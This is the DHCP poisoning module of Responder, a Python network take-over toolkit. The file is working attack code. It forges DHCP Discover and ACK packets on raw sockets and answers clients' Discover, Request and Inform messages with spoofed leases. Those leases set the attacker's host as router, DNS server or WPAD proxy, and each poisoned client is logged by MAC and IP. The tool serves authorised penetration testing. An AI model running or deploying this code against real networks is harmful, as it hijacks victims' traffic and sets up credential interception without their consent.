Responder/poisoners/DHCP.py
2022-07-29 21:15:40 +01:00

351 lines
15 KiB
Python
Executable File

#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
import struct
import random
import optparse
import configparser
import os
import codecs
import netifaces
import binascii
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
from odict import OrderedDict
from utils import *
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
config = configparser.ConfigParser()
config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = settings.Config.Interface
Responder_IP = RespondWithIP()
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
NETMASK = "255.255.255.0"
DNSIP = "0.0.0.0"
DNSIP2 = "0.0.0.0"
DNSNAME = "local"
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
Respond_To_Requests = True
DHCPClient = []
def GetMacAddress(Interface):
try:
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
except:
mac = "00:00:00:00:00:00"
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
##### IP Header #####
class IPHead(Packet):
fields = OrderedDict([
("Version", "\x45"),
("DiffServices", "\x00"),
("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"),
("Flags", "\x00\x00"),
("TTL", "\x40"),
("Protocol", "\x11"),
("Checksum", "\x00\x00"),
("SrcIP", ""),
("DstIP", ""),
])
class UDP(Packet):
fields = OrderedDict([
("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"),
("Len", "\x00\x00"),
("Checksum", "\x00\x00"),
("Data", "\x00\x00"),
])
def calculate(self):
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
class DHCPDiscover(Packet):
fields = OrderedDict([
("MessType", "\x01"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", os.urandom(4).decode('latin-1')),
("ElapsedSec", "\x00\x01"),
("BootpFlags", "\x80\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", os.urandom(6).decode('latin-1')),#Needs to be random.
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x01"), #Msgtype(Discover)
("Op55", "\x37"),
("Op55Len", "\x0b"),
("Op55Str", "\x01\x03\x0c\x0f\x06\x1a\x21\x79\x77\x2a\x78"),#Requested info.
("Op12", "\x0c"),
("Op12Len", "\x09"),
("Op12Str", settings.Config.DHCPHostname),#random str.
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
self.fields["ClientMac"] = GetMacAddress(Interface)
class DHCPACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op51", "\x33"),
("Op51Len", "\x04"),
("Op51Str", "\x00\x00\x00\x0a"), #Lease time
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", ""),
("Op252Len", ""),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self, DHCP_DNS):
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
if DHCP_DNS:
self.fields["Op6Str"] = socket.inet_aton(RespondWithIP()).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
else:
self.fields["Op252"] = "\xfc"
self.fields["Op252Str"] = WPADSRV
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
elif RespondTo and ClientIp not in RespondTo:
return False
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
data = data.decode('latin-1')
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
global DHCPClient
global ROUTERIP
PTid = data[4:8]
Seconds = data[8:10]
CurrentIP = socket.inet_ntoa(data[12:16])
RequestedIP = socket.inet_ntoa(data[16:20])
MacAddr = data[28:34]
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper()
OpCode = data[242:243]
RequestIP = data[245:249]
if DHCPClient.count(MacAddrStr) >= 4:
return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr
if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer
ROUTERIP = ClientIP
return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP)
elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
# DHCP Inform
elif OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': RequestedIP,
})
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)
if IP:
IPConv = socket.inet_ntoa(IP)
if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
def SendDiscover():
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
IP_Header = IPHead(SrcIP = socket.inet_aton('0.0.0.0').decode('latin-1'), DstIP=socket.inet_aton('255.255.255.255').decode('latin-1'))
Packet = DHCPDiscover()
Packet.calculate()
Buffer = UDP(SrcPort="\x00\x44", DstPort="\x00\x43",Data = Packet)
Buffer.calculate()
s.sendto(NetworkSendBufferPython2or3(str(IP_Header)+str(Buffer)), ('255.255.255.255', 67))
def SendDHCP(packet,Host):
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host)
def DHCP(DHCP_DNS):
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
SendDiscover()
while True:
data = s.recvfrom(65535)
if data[0][23:24] == b"\x11":# is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
if ret and not settings.Config.Quiet_Mode:
print(text("[*] [DHCP] %s" % ret))